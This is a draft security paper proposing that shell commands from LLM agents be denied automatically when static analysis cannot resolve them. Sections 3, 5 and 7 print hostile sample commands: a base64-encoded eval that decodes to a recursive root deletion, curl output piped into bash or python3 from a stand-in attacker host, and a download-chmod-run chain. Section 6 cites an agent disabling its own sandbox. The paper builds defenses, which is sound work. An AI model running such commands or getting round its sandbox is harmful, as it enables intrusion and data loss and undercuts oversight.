Opacity as Policy: Static Undecidability as a Security Primitive for Agentic Shell Execution

Thomas Quick

Independent Researcher

severeon@gmail.com

March 2026 — DRAFT FOR REVIEW

Abstract

As large language model (LLM) agents gain the capability to execute shell commands autonomously, the security community faces a fundamental tension: shell languages are Turing-complete, making comprehensive static analysis of arbitrary commands formally undecidable. Existing tools address this through allowlist-based validation of parsed command structures—a sound engineering response. We argue that these tools implicitly instantiate a deeper principle that deserves explicit articulation: that a command's resistance to static decomposition is not merely an engineering obstacle but a first-class policy signal. We call this the Opacity-as-Policy (OaP) principle. In an agentic context, if a command resists decomposition into verified primitive operations, that resistance is sufficient grounds for automatic denial—without user escalation, and without further analysis. We distinguish this from conventional default-deny by arguing that opacity-triggered denial should be terminal rather than escalatory, that agents and humans warrant asymmetric trust tiers, and that the burden of legibility belongs to the command generator, not the command validator. We sketch a two-tier architecture combining fast-path static approval with slow-path dynamic simulation via a no-op execution environment, and situate OaP within the emerging landscape of agent security frameworks.

1. Introduction

The emergence of LLM-based coding agents—systems that autonomously generate and execute shell commands on behalf of users—introduces a novel threat model. Unlike human-authored scripts, agent-generated commands are produced at machine speed, may be influenced by adversarial prompt injection, and operate with the ambient authority of the user's session. Existing sandboxing approaches (containers, seccomp-bpf, capability systems) constrain the execution environment but do not address the question of whether a given command *should execute at all.*

This work is motivated in part by the author's experience developing two open-source tools in this space: zsh-redact-history (Quick, 2025), which intercepts shell commands before history persistence to redact sensitive patterns via pre-execution content analysis, and claude-gate (Quick, 2026), a biometric permission gating system for LLM coding agents that applies rule-based security policies to tool calls. In both cases, the practical experience of building pre-execution command interception exposed a recurring limitation: pattern-matching against command strings, no matter how sophisticated the rule set, operates on the *syntax* of a command detached from the *context* that determines whether execution is appropriate.

Current pre-execution approval mechanisms are largely binary: either the agent operates within a static allowlist of commands, or every command requires human confirmation. The former is too restrictive for useful autonomy; the latter creates approval fatigue that degrades to rubber-stamping—precisely the failure mode that sandbox escapes exploit. Recent work has demonstrated that even well-designed allowlist mechanisms can be bypassed when implemented as blocklists rather than true allowlists, as illustrated by CVE-2025-66032 in a major coding agent platform.

We propose a third path grounded in a simple observation: *the analyzability of a command is itself informative.* A command that can be fully decomposed into a finite set of known primitive operations—file reads, writes, network calls with specified endpoints, process invocations with known arguments—is one whose effects are predictable. A command that resists such decomposition—due to dynamic command construction, eval, indirect expansion, or other metaprogramming constructs—is one whose effects are formally unknowable without execution.

This observation is not entirely new. Tools like safecmd (Answer.AI) already implement AST-based command parsing and allowlist validation using shfmt, and frameworks like Progent (Shi et al., 2025) provide programmable privilege control for agent tool calls. What is missing is the explicit recognition that *opacity itself is the signal*—that these tools work not despite rejecting commands they cannot parse, but *because* they reject them. We formalize this as the Opacity-as-Policy (OaP) principle and argue that it yields three specific insights beyond existing practice: (1) opacity-triggered denial should be *terminal*, not escalatory; (2) agents and humans warrant asymmetric trust tiers with different opacity thresholds; and (3) the burden of legibility falls on the command generator, not the command validator.

The analogy is deliberate: OaP treats command legibility the way a customs checkpoint treats a sealed container. You do not attempt to x-ray every possible configuration of contents. You ask: can I verify what is inside? If yes, inspect and decide. If no, the container does not cross the border. The inability to inspect *is* the reason for denial, not a failure of the inspection apparatus.

2. Threat Model

We consider an LLM agent with shell access operating under user authority. The agent receives natural language instructions and translates them into shell commands. The threat surface includes:

(a) Prompt injection attacks that cause the agent to execute attacker-controlled commands. These may arrive via user-supplied documents, web content, or data retrieved by other tools in a multi-agent pipeline.

(b) Hallucinated commands that produce unintended side effects. The agent may generate syntactically valid but semantically wrong commands—correct enough to pass a spell-check, wrong enough to delete the wrong directory.

(c) Multi-step attack chains where individually benign commands compose into harmful sequences. Each step passes allowlist validation; the aggregate effect is malicious. For example: curl to fetch a payload, chmod +x to make it executable, then ./payload to run it.

(d) Obfuscated payloads embedded within syntactically valid but semantically opaque command structures. Base64-encoded strings piped to eval, variable-constructed binary names, nested command substitutions—all mechanisms that produce commands whose effects resist pre-execution analysis.

The defender's goal is to permit legitimate agent operations (file manipulation, build commands, standard toolchain invocation) while blocking the above attack classes—ideally without requiring per-command human review. We assume the agent is cooperatively designed (not itself adversarial) but may be manipulated by adversarial inputs. Importantly, we also assume the agent is *capable of expressing its intent through simple commands.* This assumption is critical: it is what makes opacity informative rather than merely inconvenient.

3. The Opacity-as-Policy Principle

3.1 Defining Opacity

We define a command's **opacity** as the degree to which its runtime effects cannot be determined by static analysis of its syntax. More precisely: given a command string c and a static analyzer A that maps commands to sets of predicted effects, the opacity of c under A is the complement of A's coverage—the set of possible runtime effects not captured in $A(c)$.

This is deliberately analyzer-relative. A more sophisticated analyzer will classify fewer commands as opaque. But the OaP principle does not require a maximally powerful analyzer; it requires a *reference* analyzer whose coverage boundary defines the policy. Commands inside the boundary are legible; commands outside it are not. The policy attaches to the boundary, not to any particular analyzer's implementation.

Consider three concrete commands an agent might generate to accomplish the same task—writing "hello" to a file:

```
# (1) Transparent: all operations statically determinable

echo "hello" > output.txt

# (2) Translucent: mostly determinable, bounded residual opacity
```

```
printf '%s\n' "$GREETING" > output.txt

# (3) Opaque: significant operations undeterminable

eval $(echo -n 'ZWNobyAiaGVsbG8iID4gb3V0cHV0LnR4dA==' |
base64 -d)
```

Command (1) is fully decomposable: EXEC(echo, ["hello"]), REDIRECT(stdout, output.txt). A reference analyzer can predict its complete effect set. Command (2) introduces a variable expansion; if $GREETING is not statically resolvable, the analyzer cannot predict the exact content written, but it can bound the effect: something will be written to output.txt via printf. Command (3) is opaque: the eval construct means the actual command to be executed is computed at runtime from an encoded string. No static analyzer can determine the effect without executing the decoding step—which defeats the purpose of pre-execution analysis.

All three commands produce the same result. Only the third resists analysis. The question is: what should a security system *do* with that resistance?

3.2 The Principle

The Opacity-as-Policy principle states: **in an agentic execution context, a command whose opacity exceeds a defined threshold under a reference analyzer shall be denied without user escalation.** The key insight is that this is not a limitation of the analyzer—it is a *policy decision about the command*. The burden of legibility falls on the command generator (the agent), not on the analyzer.

This is distinct from conventional default-deny in a specific and important way. Default-deny says: if we do not have a rule permitting this action, deny it. OaP says: if we *cannot determine what this action is*, deny it—and do not ask the human to decide. The difference matters because escalation reintroduces the human-in-the-loop failure mode. A human presented with eval $(echo -n 'ZWNobyAi...' | base64 -d) and asked "allow?" will either (a) rubber-stamp it, (b) spend time decoding it manually, or (c) deny it. Option (a) defeats the security system. Option (b) does not scale. Option (c) is what OaP does automatically.

The principle rests on a claim about agentic contexts specifically: *an agent that cannot express its intent through statically analyzable constructs is either attempting something too complex for autonomous execution or has been corrupted.* In either case, denial is the correct response. This claim does not hold for human-authored scripts, where metaprogramming and dynamic constructs serve legitimate purposes—hence the asymmetric trust model we describe in Section 4.

3.3 Classification Hierarchy

OaP yields a three-level classification for agent-submitted commands:

Classification	Definition and Policy Response
TRANSPARENT	All operations statically determinable. Every AST node resolves to a known primitive with known arguments. **Policy: auto-approve** against allowlist.
TRANSLUCENT	Most operations determinable; residual opacity is bounded and low-risk (e.g., variable expansion within a known-safe command template). **Policy: auto-approve with logging**. The logged residual enables post-hoc audit.
OPAQUE	Significant operations undeterminable. Constructs include eval, dynamic binary names, nested command substitution, encoded payloads, process substitution with computed arguments. **Policy: automatic denial. No user prompt.**

The critical design choice is that OPAQUE results in *denial*, not *escalation*. Escalation reintroduces the human-in-the-loop failure mode that OaP is designed to eliminate. Denial forces the agent to reformulate using transparent constructs—which, by assumption, it is capable of doing if its intent is legitimate.

3.4 Expressive Equivalence Under Transparency

A natural objection is that OaP unnecessarily restricts what agents can accomplish. We argue the opposite: for the class of operations agents legitimately need, *every opaque formulation has a transparent equivalent.* An agent that needs to create a file can emit echo content > file.txt rather than constructing the command through variable concatenation. An agent that needs to install a package can emit pip install requests rather than eval "pip install $PKG". An agent that needs to run a test suite can emit pytest tests/ rather than dynamically constructing the test runner invocation.

This is analogous to the relationship between assembly language and high-level languages. A C compiler does not need inline assembly for the vast majority of programs. When it does, that signals something unusual—a hardware-specific operation, a performance-critical inner loop, an OS interface. Similarly, when an agent reaches for opaque shell constructs, that signals something unusual—and in a security context, "unusual" warrants denial, not curiosity.

We do not claim formal proof of expressive equivalence for all possible agent tasks. We claim that for the *practical* set of operations agents perform—file manipulation, process invocation, build toolchain execution, package management, text processing—transparent formulations exist and are well-documented. The set of operations that genuinely require metaprogramming (e.g., writing a shell script that generates other shell scripts) is a set that agents should not be performing autonomously.

4. Architecture: Two-Tier Verification

We sketch a two-tier verification architecture that operationalizes OaP. The design enforces an asymmetry between agent-generated and human-authored commands, reflecting their different trust models.

4.1 Tier 1: Static Decomposition

The command is parsed into an abstract syntax tree (e.g., via tree-sitter-bash or shfmt) and walked to produce an intermediate representation (IR) of primitive operations:

EXEC(binary, args) READ(path) WRITE(path)

PIPE(src, dst) REDIRECT(fd, target)

SUBSHELL(commands) EXPAND(variable)

GLOB(pattern) NET(host, port)

Each IR node is classified against a curated allowlist of binary-plus-flag combinations with associated permission levels. If every node resolves to a known-safe primitive, the command is TRANSPARENT and proceeds. If any node is unresolvable—the binary name is derived from a variable expansion, the arguments contain eval or process substitution, or the command structure nests beyond a depth threshold—the command is classified as OPAQUE and denied.

This approach has direct precedent in safecmd (Answer.AI), which uses shfmt to parse bash commands into JSON ASTs and walks them to extract every command that would execute—including commands hidden inside pipelines, command substitutions, subshells, and logical chains. Our contribution at this tier is not the mechanism but the *framing*: the rejection of unresolvable nodes is not a limitation to be worked around but a policy decision to be embraced.

Beyond individual command analysis, Tier 1 can also maintain a *session-level* effect accumulator. Each approved command's predicted effects are logged, enabling detection of multi-step attack patterns (threat class (c)). The combination curl URL > payload && chmod +x payload && ./payload consists of three individually transparent commands, but the session accumulator can flag the pattern: network-fetch followed by permission-change followed by execution of the fetched artifact.

4.2 Tier 2: Simulated Execution (Sketch)

For human-authored scripts—where opacity may be legitimate—we sketch a simulation layer. The concept is straightforward: run a real bash instance against a *consequence-free environment.* System calls are intercepted via ptrace or LD_PRELOAD shims and routed to:

- An **in-memory virtual filesystem** that mirrors the real filesystem's structure and metadata without containing actual sensitive data.

- A **null network layer** that accepts connection attempts, logs endpoints and payloads, but routes no traffic to real hosts.

- A **simulated process table** that tracks forked processes and their resource consumption without real execution.

Every intercepted syscall is recorded as a structured event. The resulting trace is then fed through the same allowlist-based classifier as Tier 1. This converts the static analysis problem into a dynamic observation problem, sidestepping undecidability by letting bash itself resolve all expansions, substitutions, and dynamic constructs—in an environment where resolution has no consequences.

We emphasize that this tier is a *sketch*, not a specification. A production implementation would need to address significant engineering challenges: filesystem state divergence (the simulation sees different file contents than the real system), environment-dependent branching (scripts that behave differently based on OS version, installed packages, or network state), and the halting problem for scripts with unbounded loops. These challenges are real but bounded—the simulation provides a *best-effort preview* rather than a guarantee, and even partial coverage of a script's execution path reveals more than pure static analysis.

Crucially, Tier 2 is not available to agents. The two-tier split enforces an architectural asymmetry: agents must produce legible commands (Tier 1 only), while humans may use the full expressiveness of bash with pre-execution visibility (Tier 1 + Tier 2). This asymmetry reflects the differing trust models: agents are high-speed, low-trust, and *capable of reformulation*; humans are low-speed, high-trust, and may have legitimate reasons for complex shell constructs.

5. Illustrative Examples

To ground the classification hierarchy, we present examples spanning the transparency spectrum. Each demonstrates how OaP would handle a real command pattern.

5.1 Transparent Commands (Auto-Approve)

```
ls -la /home/user/project/

git status

mkdir -p build/output

cp src/main.py build/main.py

python3 -m pytest tests/ -v
```

Each of these decomposes fully into known primitives with literal arguments. The reference analyzer resolves every AST node. These are the bread and butter of agent operations—the commands that OaP is designed to allow without friction.

5.2 Translucent Commands (Approve with Logging)

```
grep -r "TODO" $PROJECT_DIR

cat "${HOME}/.config/settings.json"
```

The variable expansions ($PROJECT_DIR, $HOME) introduce bounded opacity—the analyzer cannot predict the exact path, but can determine the operation class (read-only search, read-only file access) and the command structure is otherwise fully resolved. The residual risk is low; logging captures the actual resolved values for post-hoc review.

5.3 Opaque Commands (Automatic Denial)

```
eval $(echo -n 'cm0gLXJmIC8=' | base64 -d)

$CMD --flag "$ARGS"

bash -c "$(curl -s https://example.com/script.sh)"

IFS=/ read -r cmd args «< "usr/bin/python3/-c/import os;
os.system('id')"
```

Each of these contains constructs that defeat static analysis: eval of computed strings, dynamic binary names, execution of network-fetched code, field-splitting tricks that construct commands from data. Under OaP, all are denied immediately. The agent receives a denial message and must reformulate. If it cannot reformulate transparently, the task is escalated to the human—not the opaque command, but the *task itself.*

5.4 The Semantic Transparency Boundary

A subtlety worth highlighting: curl https://example.com/data.json | python3 process.py is *syntactically* transparent—two EXEC nodes connected by a PIPE, all arguments literal. But the *semantic* effect depends on runtime content: what data.json contains, what process.py does with it. OaP at the shell level classifies this as transparent, because the shell's contribution is fully analyzable. The risk from the *content* of the fetched data or the *behavior* of the Python script is a different security layer—one addressed by network allowlists, content inspection, or code review, not by shell-level opacity analysis.

This boundary is a feature, not a bug. OaP does not claim to solve all command injection problems. It claims to *eliminate shell-level obfuscation as an attack vector.* The remaining attack surface—semantic attacks through transparent commands—is smaller, better-defined, and amenable to different mitigation strategies (allowlist patterns like "no piping network output to interpreters," file-type restrictions, content scanning).

6. Related Work

6.1 Shell Analysis and Linting

ShellCheck (Kowalczyk, 2012) performs syntax-level linting of shell scripts, identifying common errors and portability issues but does not attempt security classification. Smoosh (Greenberg and Blatt, 2020) formalizes POSIX shell semantics for conformance testing. Neither treats analyzability itself as a security signal. The shfmt parser, used by safecmd, provides robust AST generation for bash but is a parsing tool rather than a security framework.

6.2 Agent Command Security

safecmd (Answer.AI) is the closest existing implementation to our Tier 1 architecture. It uses shfmt to parse bash commands into JSON ASTs, walks the tree to extract all commands that would execute (including those nested in substitutions and subshells), and validates each against a configurable allowlist. safecmd demonstrates that AST-based decomposition with allowlist validation is practical and effective. Our contribution relative to safecmd is conceptual: we articulate *why* this approach works (opacity as signal) and extend it with the denial-not-escalation policy and asymmetric trust tiers.

Progent (Shi et al., 2025) introduces a domain-specific language for expressing fine-grained privilege policies for LLM agent tool calls, with evaluation showing attack success rates reduced to 0%. Progent operates at the tool-call level rather than the shell-syntax level, making it complementary to OaP: Progent controls *which tools* an agent may invoke; OaP controls *what shell commands* those tools may execute.

AgentSpec (Poskitt et al., 2026) provides customizable runtime enforcement for LLM agents, defining safety properties as temporal specifications. Where AgentSpec focuses on behavioral properties over time (e.g., "never delete more than 5 files in sequence"), OaP focuses on the syntactic analyzability of individual commands.

The custom-DSL approach described by Yörük (2025) proposes replacing shell access entirely with a domain-specific language of validated primitives—JSON-structured instructions with explicit data flow and no nested shells. This is a more radical version of OaP's insight: rather than constraining shell to its transparent subset, eliminate shell entirely. We view this as a complementary strategy appropriate for constrained environments, while OaP addresses the more common case where agents interact with existing shell-based toolchains.

6.3 Sandboxing and Isolation

Container-based sandboxing (Docker, gVisor, Firecracker) constrains the execution environment but operates at runtime rather than pre-execution. Seccomp-bpf filters syscalls but requires enumerating allowed calls rather than analyzing command intent. Policy languages like SELinux and AppArmor define allowed operations but are configured independently of command analysis. The pledge/unveil system in OpenBSD constrains process capabilities at the syscall level, providing a form of post-exec privilege reduction.

AgentBox (Bühler et al., 2025) provides sandbox-based policy enforcement for AI agent execution, combining container isolation with declared permission models. **ISOLATEGPT** (Wu et al., 2025) proposes execution isolation architecture for LLM-based agentic systems. These operate at the environment level; OaP operates at the command level, upstream of execution. The approaches are complementary—defense in depth benefits from both.

A notable finding from Ona's research (2025) demonstrates that AI agents can *reason about and autonomously bypass* path-based security restrictions. An agent, without instruction to do so, disabled its own sandbox because the sandbox was between it and task completion. This underscores the importance of pre-execution analysis (OaP's domain) over runtime containment alone: a denial at the command level cannot be reasoned around by the agent in the way a runtime restriction can.

6.4 Complexity as Security Signal

The concept of using program complexity as a security signal has precedent in software diversity and moving-target defense research. Declassification policies for program complexity analysis (LICS 2024) explore how complexity bounds can serve as information-flow controls. Opacity verification in discrete event systems treats the *observability* of system states as a formal security property. Our contribution connects this theoretical tradition to the practical domain of agentic shell execution, where the "observer" is a static analyzer and the "system" is a bash command.

7. Discussion

7.1 The Expressiveness Trade-Off

OaP makes an explicit trade-off: it sacrifices agent expressiveness for security predictability. An agent operating under OaP cannot use bash's metaprogramming features, shell arithmetic in command construction, or dynamic binary resolution. We argue this is acceptable because the set of operations an agent legitimately needs is small relative to bash's full capability surface, and any operation expressible through opaque constructs can also be expressed through transparent ones—possibly less efficiently, but with full auditability.

A practical concern is the agent's *reformulation cost.* When a command is denied, the agent must generate an alternative. This introduces latency and may require multiple attempts. We view this as acceptable: security-critical denial is a feature, not a performance bug. Moreover, agents can be trained or prompted to prefer transparent constructs from the outset, reducing denial frequency over time. The denial serves as a training signal, analogous to how a compiler error teaches a programmer to write valid syntax.

7.2 Semantic Transparency Limits

The most substantive objection to OaP is that sophisticated attackers could craft payloads that are syntactically transparent but semantically malicious. curl https://attacker.com/payload | python3 is fully transparent at the shell level—two EXEC nodes connected by a PIPE—but the effect depends on content retrieved at runtime.

This is a real limitation, and we do not minimize it. OaP addresses *shell-level obfuscation*; it does not claim to solve semantic attacks. However, we argue that eliminating the shell-obfuscation layer meaningfully reduces the attack surface. An attacker who must express their payload through transparent commands is constrained to patterns that are recognizable and classifiable—patterns like "network-fetch piped to interpreter" that can be blocked by higher-level policy rules. An attacker who can use opaque constructs has effectively unlimited concealment.

7.3 Allowlist Maintenance

OaP's practical viability depends on the quality and currency of the reference allowlist. An incomplete allowlist produces false denials; an overly permissive allowlist admits dangerous commands. This is a real operational challenge, shared with all allowlist-based security systems. We note that the allowlist can be structured hierarchically—base lists for common operations, domain-specific extensions for development toolchains, project-specific overrides for unusual but legitimate binaries—and that agents themselves can be used to suggest allowlist additions subject to human review.

7.4 Composition and Multi-Step Attacks

Threat class (c)—multi-step attack chains—is partially but not fully addressed by per-command opacity analysis. The session-level effect accumulator described in Section 4.1 provides some mitigation by tracking the cumulative predicted effects of approved commands. However, a determined attacker could construct chains where each step is transparent, individually benign, and only dangerous in combination across a wide temporal window.

We acknowledge this as a limitation of any per-command analysis approach. Defenses against compositional attacks require *behavioral* monitoring—tracking what the agent is *trying to accomplish* over time, not just what each individual command does. This is the domain of AgentSpec-style temporal specifications and is complementary to OaP.

8. Future Work

Implementation and evaluation. The most immediate next step is a reference implementation of Tier 1 and empirical evaluation against a corpus of benign agent commands (drawn from real coding agent sessions) and malicious commands (drawn from prompt injection attack datasets and red-team exercises). Key metrics include false positive rate (legitimate commands denied), false negative rate (malicious commands approved), and reformulation success rate (how often a denied agent successfully reformulates).

Tier 2 prototype. The no-op execution environment described in Section 4.2 requires a prototype to test feasibility, particularly around filesystem state fidelity and the coverage of execution paths achievable through simulation. An initial implementation using ptrace-based syscall interception with an in-memory filesystem (e.g., built on FUSE) would provide empirical data on the approach's viability.

Formal opacity metrics. The semi-formal definition in Section 3.1 could be sharpened into a lattice-based formalization where opacity levels form a partial order, enabling formal reasoning about analyzer composition (does combining two analyzers reduce opacity?) and policy monotonicity (does a stricter allowlist always increase the opacity of a given command?). We defer this to future work as the practical utility of the principle does not depend on full formalization.

Integration with privilege frameworks. OaP and tools like Progent address orthogonal security dimensions—command syntax and tool privilege, respectively. A combined framework that applies Progent-style privilege policies *and* OaP-style opacity analysis would provide defense in depth that neither achieves alone.

Agent-side transparency training. If agents can be fine-tuned or prompted to prefer transparent command formulations, the denial rate under OaP should decrease over time. Studying the interaction between OaP enforcement and agent command generation quality is a promising direction for both security and agent capability research.

9. Conclusion

We have proposed the Opacity-as-Policy principle: that a command's resistance to static analysis should function as an automatic denial signal in agentic execution contexts, rather than triggering human escalation or more sophisticated analysis. This inverts the conventional relationship between analyzer capability and security coverage, placing the burden of legibility on the command generator rather than the command validator.

OaP is not a novel engineering mechanism—tools like safecmd and Progent already instantiate aspects of it. Our contribution is the explicit articulation of *why* these approaches work, the specific policy claims that follow (terminal denial, asymmetric trust, generator-side burden), and the architectural sketch of a two-tier system that applies opacity analysis asymmetrically to agents and humans.

The principle rests on a simple observation about agentic contexts: an agent that cannot say what it means clearly is either confused or compromised, and in either case, the correct response is not to try harder to understand it—it is to say no.

References

Bühler, J., et al. (2025). Securing AI Agent Execution. *arXiv:2510.21236*.

Greenberg, M. and Blatt, A. (2020). Smoosh: A Verified POSIX Shell Semantics. *Journal of Functional Programming*, 30.

Kowalczyk, V. (2012). ShellCheck: A Static Analysis Tool for Shell Scripts. https://shellcheck.net.

Meng, L. et al. (2025). CELLMATE: Sandboxing Browser AI Agents. *arXiv:2512.12594*.

Ona Research. (2025). How Claude Code Escapes Its Own Denylist and Sandbox. Technical Report.

Poskitt, C. et al. (2026). AgentSpec: Customizable Runtime Enforcement for Safe and Reliable LLM Agents. *Proceedings of ICSE 2026*.

Shi, T. et al. (2025). Progent: Programmable Privilege Control for LLM Agents. *arXiv:2504.11703*.

Wu, S. et al. (2025). ISOLATEGPT: An Execution Isolation Architecture for LLM-Based Agentic Systems. *Washington University in St. Louis*.

Yörük, U. (2025). Securing Shell Execution Agents: From Validation to Custom DSLs. Blog post, yortuc.com.

Quick, T. (2025). zsh-redact-history: Pre-execution Command Interception for Sensitive Pattern Redaction. https://github.com/severeon/zsh-redact-history.

Quick, T. (2026). claude-gate: Biometric Permission Gating for LLM Coding Agents. https://github.com/severeon/claude-gate.

Answer.AI. (2025). safecmd: Call Commands Safely by Checking Them Rigorously Against an Allow-List. https://github.com/AnswerDotAI/safecmd.

Flatt Security. (2025). Pwning Claude Code in 8 Different Ways. Technical Report. CVE-2025-66032.